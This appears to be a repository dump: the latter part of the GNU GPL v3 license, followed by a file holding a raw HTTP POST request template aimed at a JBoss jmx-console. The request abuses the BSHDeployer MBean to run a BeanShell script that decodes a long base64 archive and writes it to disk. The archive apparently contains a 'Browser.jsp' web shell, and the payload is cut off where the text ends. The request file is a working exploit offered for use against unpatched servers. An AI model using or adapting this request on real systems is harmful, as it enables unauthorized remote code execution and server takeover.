ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /war/req1.win: -------------------------------------------------------------------------------- 1 | POST http://hostx:portx/jmx-console/HtmlAdaptor HTTP/1.1 2 | Host: hostx:portx 3 | User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 | Accept-Language: en-gb,en;q=0.5 6 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 7 | Keep-Alive: 300 8 | Proxy-Connection: keep-alive 9 | Referer: http://hostx:portx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployer%3Aservice%3DBSHDeployer 10 | Cookie: $cookiex 11 | Content-Type: application/x-www-form-urlencoded 12 | Content-Length: 53778 13 | 14 | action=invokeOp&name=jboss.deployer%3Aservice%3DBSHDeployer&methodIndex=5&arg0=import+java.io.FileOutputStream%3Bimport+sun.misc.BASE64Decoder%3BString+val+%3D+%22UEsDBBQACAAIAMprPjoAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv%2FsoAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgACADKaz46AAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAmY6RnEGxoqaASX5in4ZiYX5RdXFpek5hYreOYl62nycvFyAQBQSwcIgqdadUcAAABHAAAAUEsDBAoAAAAAAEdmPjoAAAAAAAAAAAAAAAAIAAAAYnJvd3Nlci9QSwMEFAAIAAgAwWs%2BOgAAAAAAAAAAAAAAABMAAABicm93c2VyL0Jyb3dzZXIuanNw5X1pe9tG0uBnzvPkP7Qwq5iMKVKSk9mJZSqvLNGxZnStDnsTy6sHJEERMQlwAFCHE%2F%2F3raNPHCRly5l3djkTiwS6q6urq6uqq6urX6yurX3zl9pv6VS8CseB6CXxbRokYqO1CY934%2Bl9El6PMlHfbYjN9fVna%2FDP38TLOAlTcRNH4iAO0v4Iip6P4Mk0ia8TfyLg6zAJApHGw%2BzWT4ItcR%2FPRN%2BPRBIMwjRLwt4sC0SYCT8atONETOJBOLzHB7NoECQALxsFIguSSSriocAfPx9diJ%2BDKEj8sTiZ9cZhXxyE%2FSBKA%2BFDy%2FgkHQUD0bvH4gDhFWJwJjEQr2KA7GdhHG2JIIQSibgJkhR%2Bi03VhITXFIBR3c8Q6UTEU6zUAIB%2BdC%2FGfmZqtkr6bbo3EGFEYEfxFPoyAoDQv9twPBa9QMzSYDgbNwWUBChv989fH1%2Bci52jX8TbndPTnaPzX7agbDaKZ5kIbgKGFE6m4xAAQ48SP8ruEfHD7unuayi%2F83L%2FYP%2F8F8Ad%2B75%2FftQ9OxOvjk%2FFjjjZOT3f37042DkVJxenJ8dn3ZY4C4JFZB3SwADtBkHmh%2BMUu%2FsLjGMKSI0HYuTfBDCe%2FSC8AZR80QdmWWawxnF0TV2jUTbU2xLhUERx1hS3SQjckcULBrIp9qN%2BqwklfvhRnAdAm0CcjP0%2BDODZDCE8e7aOb1%2FGaYalD3fE%2BubGxsbaxrP1%2Fykuznbg3ZrYAwZOQhrk56IwD25gIoi1NUHD%2FI%2BzEz3U%2FngMJaD%2Fkxhaug16az0%2FDQYAEj5DBOH3%2B0GaIoeLiR%2BF09mYsG4J8YucDEixpugnATBVE0gN9MTSg2AcAEwEQjSHz3lwl%2FEDqgj8A%2FMIWQzLXyfxbErzhEvgs2E8hnmkSw%2Fi22gc%2BwOFIMwYX6RhdA14fgynVJFY9Ekq8RmImHluOL5vEaF2ce5m6XNx7t%2BPgTVe%2BmkWBkDXPf8mHIiD4CaMAvVrN7714dVBSLz7c3zjB0mWfvOXtbXV7W%2F%2B8mL1v6b%2BNfFznGQd7zf%2Fxm%2FNsnDc%2Bg4GTOQ%2B9DYKsuqXGZCn%2Bi0Bhl5Wlwjj1nfeN39h1Fa4ULv9qrtzfnHaPePf0yS8AbqININh7APFIuDtXhyPAyDx0c75%2Fpvu1e7x4eHO0d6Z6IgsmQVbQLf2d9%2FBv9%2FtD%2BlJE%2FkGRApMDOSFVNR7QRoOYNBmUxwfGrsI3gEr9OMJ8M0gbQgEcDsK%2ByPRH%2FnRNcrVSQBTB%2BaRGiQcv%2FQ%2BzQLgTJgk0MAkzDIa7u%2Fa8M9c7E%2B7O3tXx0cHvwDeQ3%2BcMuJtjTPjlhJk4nvgDhpXmLB2XSy9qK2dg4Pjt1cXJwfHO3uGTIrkOwidJx%2F2jjgZu2ZPIOjz%2BB5lax9Yyoe%2FgxCkUAYqKUgX9%2FTs%2FHR%2F9%2Fzq5enx27P9o5%2BtHjMGutNI1hmKAJj4qtMgklgwaBw0wJOd89dNBQToQlAXQUFmsLAXihkcqEuwny7%2F9vX%2Befdg%2F%2By80K8TPxulTZES67GaTINJ2I9BHKsypW2cgTqDoXBQAuje7vPLy93jve5WF754W1D9bRg923wudkEOypkNOmplpWpMqgC3g6y%2F1b7xE89ijPMR6howKtKRyMJJgLRPg34M80PpHDmDJnEUAjlBw0Qg9aoaD6NMMBNeHR4f7Z8fn16ddl8BLojCJvM%2FthnNJj0YPWgCKDUDawSVIraGshBgBePBvCa6e%2Fvnr%2Fa7B3sgGg5QLPz9hzLYyA2fDRk5GSA%2FW2fIx1OYmL6IgltJAuS3mxB%2B%2BjSXFk2Ri7Pu1cnxycVJQYiJ7wTMDny%2Ft396dXLafbPffStLEadH1AeQDMm9Zut7aDYD0BloGWn7MCilZuojUFXU8Uk8w5kF1ennOIw%2BNMhQkCIuSTNhtXx1dHH4snsqgijDydNisKSoUevdIwWx78DxgBZIkD5wTZrOoKg4nyURWmPxcNhEKYYNGIxZ2kHVFCYsw10oQ4tk0ZK0cgxLOtMRG%2BsOxYlRfGB4YBNohq1RqL8L1t1Zdg%2F6fhQEmRrZOYjK6Qb1ro52Drs4016ykdPqp6lXaBTUzxSmG1nIYxjTMQ2uNhZo%2BPBdfX3txwZXWwegR7Fdk59vwPMzEAYDPxk4cOtvkFWGYEhICK2WHMYfocrLAAa8WBwHpTG%2Fr0hc0MVA27Oz%2FeOjq4Pum%2B4B0rbQSzCQX%2B7v7XWPrvZOQYOfkY4DIxTt%2BOnYvzd2ECwvspZhL23CjxUDMVCgJzJwMgPlHuNE5EkIVi5oL%2BTDJjKWfxOHaDNPoGdoCPXiOwKDy6QM%2BohFyHxkoNAemLdg76O5eeP3gP6DBG2EOprx%2Fzw6fnskXl78fEYaKfAHk6CV3WWNBazLHPHufZEIHfG756NY%2F0Qi2JBsl20SJXKB98ZE7SCBQcKVEb7EN1MfjGR6Al0BYkBfpeU8WRIpaUtd7R%2Bdd09hJM9pdvzu9ScDrwlaYheQA8Ug9uK0%2BZZpTPLv86C2e2HUTkde01vrI2AAJC6i8M7t%2FqF%2Fp7XPJOU%2BkZHvanfoLyzsgiGunawlHy5nARu2yuaQgBZIhzv%2FG2TD8S5w8NXpxdER2CpX5%2Fs0b5%2Bt45xaX1%2FH%2FsMPqQcZ1fbLWQarHZIZleaQlAVnO2Cz7pxd%2FbqPwt7bk4sEADgGSRgM1HoCzNSPjXDqVQozrcpRsly92j8g8VI%2FbQQkunBFtbDyXvcARoMqn1HtvWDcwHWQi81COLtgkZ6TLCYrhbSMqO81wmTZqhr%2F3QbXXgr%2Fw%2BM3NvaHDVzOvVoO5eOTX0zV3Xhav28sWfVg5%2BJo97VaeFDLBw1%2FFsFaAdZEQYJF5cRbCEvaQxqRCzKoPCkC2keoRMdg9t4bHwBKSrkm8aN7XpL4Q5r2KChBhQdUd%2B3RPwR2l5umtmDejeM%2B9o1dR5Mp6Smj1VF9SRuxjnjjNANEoyCAZXGjSBtJFYQEQJAgrTISymJvuqekao6I7TZam2Vl9%2BD7KyQj6BfztWM9b10HGf46BymzH0E1sFrqDR6CKTtS%2BmMfJA4Mzn40jMXv9Eq9I9GRxZk%2FPgs%2FkvHhvOnPkqT0BTSUZCjZ7DfKtPF7YMoHgy2nJdl%2BvYEY1Go13Sh0Z31MYGqqOeuRbghNAlqvtrAU2HDY40OQlGFK%2FUUnBbdrm1K1T6VIoL5PoaEyZFLVXwedr4GN5AQYwYspLrI0bXhUFjUj1nLDUAODoE7VVgBjBYyhzagFgKc7xSpBtIWpXwOdjIYuqAewSTKUKFi0zpUb4imoURYx1BX4N4CeCVnLi9q%2BV9JNJDb08SRI%2BtAD3UlC1tCdMJaQJLVt4DhkDVF3sUfkFYTGXAIj3bpjf5oGg1Iq15cjcwNaRKqNc%2FReE39bH4tt7IMkun61Cq%2FgzYbpHT1u42Og53MP%2FjUlicYTSWKHAG6t9TnViiOD5V5srIufhEcVqR7USL3n1vfFBEyhMJojzhiaWWIPoWGGz%2BZmWcXwyHeKCI5Y4nLtzv8XA%2FOpKNhxlpZIdjl0ZE91RETrjv44BKpjhSP7Meq93RiMchiR%2B6l6zpJd6qPefRaANWyVTJ1i3CZ5wkmLFt8xPi9nwyHo0LSHJYJb52kdBrDhKg1a9aQBoazarUtc%2FJfwdydJ%2FHvFjXnsAD6VNSVb4yC6zkbveTwkM%2BLeyD261uumYFOsO3RJ6UEBkBY67sBI7a0VL5gQh9LLJAdJlnjtp6OMlmdsaJzTd0Zdv1PqXFVSRKnLIR7iYDa1gg%2FhH0URC2prOsvqsigVsae7DZmWjIEDvAycLMbvS2ApdEB2kMotg2ejjEJY%2Fm7Y1EADx25F6Sisk6M%2BLMF2xC4RnbxA6POOBymuu9mxIxdfvjiDRfcYEQOiAGKBP8nPqtdZNj2cjbPwBGQS%2FIcuWTl2ZsnoWMNou54FuI7FcdaiDjVfgg787L7uYZlWqgrhsvQy8hrOTDMOieOj7tXhS%2FLwbH6PCs%2BdG4Z3ZL%2FADPTrxZ7BWrOpcOzRXlhyrx%2Bk%2Fg0Ij70waUrpCO32JW%2BDXUx%2Bxv3xOLj2xzvJ9WwCU6F71w%2BmcjvtWP%2BwFALY1h2e%2FxIEsXMVlLpn4SppQWAUrgqY%2BOMPjX8LsJ%2FUG3IWgvJ4ITaWaox7WfMuPRS3ugkQs5ceLcqBsbiueRlGg7BP4yWxM5gJb23NBiTlCtH2PP4QRKCkQNplBzDuWtymIM6C8cARoDUtxYfqi%2F3WjDUsA%2FxyKfFDw26d2NGS8OjbVL%2FI12JpANUrtt6RJWgtiTNS8wealDQK335rmKYwDNtiveFCC9NXrA%2BMEUyjq1sBWYBeGbnuzsht%2F68ZLMIG1lIMrL%2F%2BeDbAfgHyMKL4Lm3waLLWkfTAHwZriUxt2Jp8wBrKNmdNLEkEMxTHB%2FjW4j5%2BZzhvhacuWijpWxAumj0bDt8dF1ntpeIWXEMO8ceWsDkox4dNNXL4Ar9KpG5H2E3Ga0VNL8umeQjCUoRqXpJUqqJHAX4lBMPpWrfraUAQQOJtXSZa6EleoFqtPiCYUfGUZvTmQ2Y00BnW6YiP2ekh8umWZO9kY1Fwx20B%2B2bxQXwbJLgPVc93uQWzP7g7HtY99MWuYQMeIrf%2BuMjZMqGEdEWkgZAdEGIuGRnG1yakLaHkjOOVfa4vNrrylS155hQrExo2p4z89DBOAtVFPQ9qSs4V6SWBLCI0AcjRdh5xt1HvqNbdgg6HsZwEwQYd2r%2BOAHniNg9piSa6Z3XCULglrXdNti1dREr5G388W0BMiReXtKQ4PSiV4BYmBpXC2oHqmzbMoKlNQP580t9o4WOBLhE3qAnOPoRTdGqS3b2GCxJYiknH4BI1e2M%2F%2BvB1yp%2FEaUi2Dm7IK5Ht1oTZkoVRaf%2FVF%2FWXyIEjQzznCiFL6mgG4VWsIeDnku9hxHiU0gsJlyebpJH8oy0TaPQltimVjMVobHciAxoKVaqz5fWZUQOlBmceIVtc5dh9Gc34XBiZ83iKMSfRs1GY5AS6ws4RHmSUWVykimqBUPQaVEtddzypazbpHnXMrEZWvgZL6Ae0otaiuWkba7hIxNgHs6tJkZ5JUwdkabsapgS8sLDQEKW6qHvwHvWDqdOhtrYWdio3rSRlcL9YEUStwGfyL%2FOncpP3bS8HlzaujBa6ICrUQ1MB1FWPZ5lZkcbu2kdrs6kPq3b3TW6tEKeW1WHDrMu614FGop5f3NYq1Vmj4cxa3Yr29zhN8cJcV1HiCd7hCkXOiZwiREcULNSDmzCepThO797bLqpNWN8z2PdODdxM4pIWTeiNdKEuBQpX9Yhdk%2F59ZtO2jk%2Bgepi28BtxkI0m%2Bb3sB8rz1cCZsrZRVEg2prUeAP2QkwJqKePSK2dG0dtnOcSsPhNe1u9qtErxqkn%2BbJldGtdscRA3Spwc3vEEF6FqXVc3ThULH8eei9MWhSgXKUvUXwOJvlVAV%2BuJQreJNI2FuObsrflINIqk0Y79px0qYkogV8qtJImXeWc9RMvVasuUsZ8i5QGceSkZ0uHU2qd2O4B1CHZJMRM%2FIV6Sj6CHw%2FEsHRm9A0%2F649ha1rFasJ0PqoXSqS56PsmCeulbFEcaQy1ZCu5qAAHWnYZQb%2BTVIo%2BUo1htbwZKNl2lUvuo6rpkYRg7Sii33A1fTUtQDPy772f9kajb7j1LibLt4SoV%2FrdUZUq3MMfEyJggnD%2BpMQVTuXMekwQT5JDnwhjzYjYhpKDNT8CCc5Og9Px37%2B19qlJ%2Fol%2FQ95YNhwEAtFUc0g4w%2FHlhPJDKEoTHT582jM1B2xMNUw4UfrKT1cMGrr0Ap%2FB9WVNqP0jJIEM0NMJuwE4MMByRPdoUMoSz5PX5%2BYkYwTcwMFBspDmCpfdRHwYLjcyBtZdHsrTEUZyC6aCdvgXXLhPV1TXomZZaRukY2kG3ZHaPRExPyWfcfIClTZWr0jjgCNaKI8uLkrFXkF80BNSEtJL0UurJZfSkoVZREhT7yGY9ZsD6usQOJPKG4ymUw6OtrqpdUm16yEdk8qmdD2VrLPKry%2B5W2UTYQ4ovMWw81KvyB%2Fjd5WxG6xLPL2kYYKkiDO2KR%2F6X9FRlWmM%2FBc6RdG0%2FcT3PUd6zTIszAsHElwU0NDMAXOqppj4JxlxxhRajFBXQubxU%2BOTbNWTiatXtSqIjaZ6SEDabNvAghwm04hbZhSmPQ4GUUXMdIcKkmOJxI8KxKYqV7F6X1mvPqUb7YLBq63K4ZeU2lhuhyPGpVBa3P6RspY5iPDMYR%2Fq8CEUI8oGjMOFAU5Q2ZhcaBTsdOQsmtAW7a2D9zhMGmWkSD5hyHIRzHW3xOwXBRAgBai0srQJx5SOsox8VtMt%2FkU6kVhj93r3Y6LyS%2BDfFZgcVX1M86%2BzRKarvO2p1KyN8B8HQB4pRZWRnKXOBOgAJh12WPYJpReduqKkJKCZY4gVpHzQp7axBdUuH6d4pEtiqiSC8sLw7dtfXNMFgnc5dX9uwhZNt59kVrXpFunHdYqCO1K31495vQT8T8UZTqK%2BbCj3ecMEg7Tovr2M